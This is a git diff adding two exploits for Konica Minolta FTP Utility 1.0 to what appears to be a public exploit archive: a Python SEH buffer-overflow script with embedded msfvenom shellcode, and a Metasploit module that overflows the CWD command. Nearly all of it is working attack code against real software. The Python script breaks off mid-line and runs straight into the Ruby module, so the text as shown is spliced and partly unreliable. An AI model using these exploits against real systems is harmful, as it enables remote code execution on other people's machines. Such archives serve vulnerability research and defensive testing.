diff --git a/files.csv b/files.csv index d6c708bcd..5ffa75373 100755 --- a/files.csv +++ b/files.csv @@ -34544,3 +34544,5 @@ id,file,description,date,author,platform,type,port 38249,platforms/multiple/dos/38249.txt,"MiniUPnP Multiple Denial of Service Vulnerabilities",2012-01-28,Rapid7,multiple,dos,0 38250,platforms/multiple/remote/38250.html,"Novell Groupwise Client 8.0 Multiple Remote Code Execution Vulnerabilities",2013-01-31,"High-Tech Bridge",multiple,remote,0 38251,platforms/php/webapps/38251.txt,"WordPress WP-Table Reloaded Plugin 'id' Parameter Cross Site Scripting Vulnerability",2013-01-24,hiphop,php,webapps,0 +38252,platforms/windows/remote/38252.py,"Konica Minolta FTP Utility 1.0 - Remote Command Execution",2015-09-20,R-73eN,windows,remote,21 +38254,platforms/windows/remote/38254.rb,"Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow",2015-09-21,metasploit,windows,remote,21 diff --git a/platforms/windows/remote/38252.py b/platforms/windows/remote/38252.py new file mode 100755 index 000000000..8e983cab7 --- /dev/null +++ b/platforms/windows/remote/38252.py @@ -0,0 +1,46 @@ +# Title: Konica Minolta FTP Utility - Remote Command Execution +# Date : 20/09/2015 +# Author: R-73eN +# Software: Konica Minolta FTP Utility v1.0 +# Tested: Windows XP SP3 +# Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip +# Every command is vulnerable to buffer overflow. + +import socket +import struct + +shellcode = ""#msfvenom -p windows/exec cmd=calc.exe -f python -b "\x00\x0d\x0a\x3d\x5c\x2f" +shellcode += "\xbd\xfe\xbd\x27\xc9\xda\xd8\xd9\x74\x24\xf4\x5e\x29" +shellcode += "\xc9\xb1\x31\x31\x6e\x13\x83\xee\xfc\x03\x6e\xf1\x5f" +shellcode += "\xd2\x35\xe5\x22\x1d\xc6\xf5\x42\x97\x23\xc4\x42\xc3" +shellcode += "\x20\x76\x73\x87\x65\x7a\xf8\xc5\x9d\x09\x8c\xc1\x92" +shellcode += "\xba\x3b\x34\x9c\x3b\x17\x04\xbf\xbf\x6a\x59\x1f\xfe" +shellcode += "\xa4\xac\x5e\xc7\xd9\x5d\x32\x90\x96\xf0\xa3\x95\xe3" +shellcode += "\xc8\x48\xe5\xe2\x48\xac\xbd\x05\x78\x63\xb6\x5f\x5a" +shellcode += "\x85\x1b\xd4\xd3\x9d\x78\xd1\xaa\x16\x4a\xad\x2c\xff" +shellcode += "\x83\x4e\x82\x3e\x2c\xbd\xda\x07\x8a\x5e\xa9\x71\xe9" +shellcode += "\xe3\xaa\x45\x90\x3f\x3e\x5e\x32\xcb\x98\xba\xc3\x18" +shellcode += "\x7e\x48\xcf\xd5\xf4\x16\xd3\xe8\xd9\x2c\xef\x61\xdc" +shellcode += "\xe2\x66\x31\xfb\x26\x23\xe1\x62\x7e\x89\x44\x9a\x60" +shellcode += "\x72\x38\x3e\xea\x9e\x2d\x33\xb1\xf4\xb0\xc1\xcf\xba" +shellcode += "\xb3\xd9\xcf\xea\xdb\xe8\x44\x65\x9b\xf4\x8e\xc2\x53" +shellcode += "\xbf\x93\x62\xfc\x66\x46\x37\x61\x99\xbc\x7b\x9c\x1a" +shellcode += "\x35\x03\x5b\x02\x3c\x06\x27\x84\xac\x7a\x38\x61\xd3" +shellcode += "\x29\x39\xa0\xb0\xac\xa9\x28\x19\x4b\x4a\xca\x65" +banner = "" +banner +=" ___ __ ____ _ _ \n" +banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" +banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" +banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" +banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n" +print banner +nSEH = "\xEB\x13\x90\x90" +SEH = struct.pack(' 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', + 'Description' => %q{ + This module exploits an SEH overflow in Konica Minolta FTP Server 1.00. + Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which + leads to an SEH overflow. Konica FTP allows anonymous access by default; valid + credentials are typically unnecessary to exploit this vulnerability. + }, + 'Author' => + [ + 'Shankar Damodaran', # stack buffer overflow dos p.o.c + 'Muhamad Fadzil Ramli ' # seh overflow, metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EBD', '37908' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1500, + 'BadChars' => "\x00\x0a\x2f\x5c", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Windows 7 SP1 x86', + { + 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll + 'Offset' => 1037 + } + ] + ], + 'DisclosureDate' => 'Aug 23 2015', + 'DefaultTarget' => 0)) + end + + def check + connect + disconnect + + if banner =~ /FTP Utility FTP server \(Version 1\.00\)/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + connect_login + + buf = rand_text(target['Offset']) + buf << generate_seh_record(target.ret) + buf << payload.encoded + buf << rand_text(3000) + + print_status("Sending exploit buffer...") + send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string + + handler + disconnect + end +end \ No newline at end of file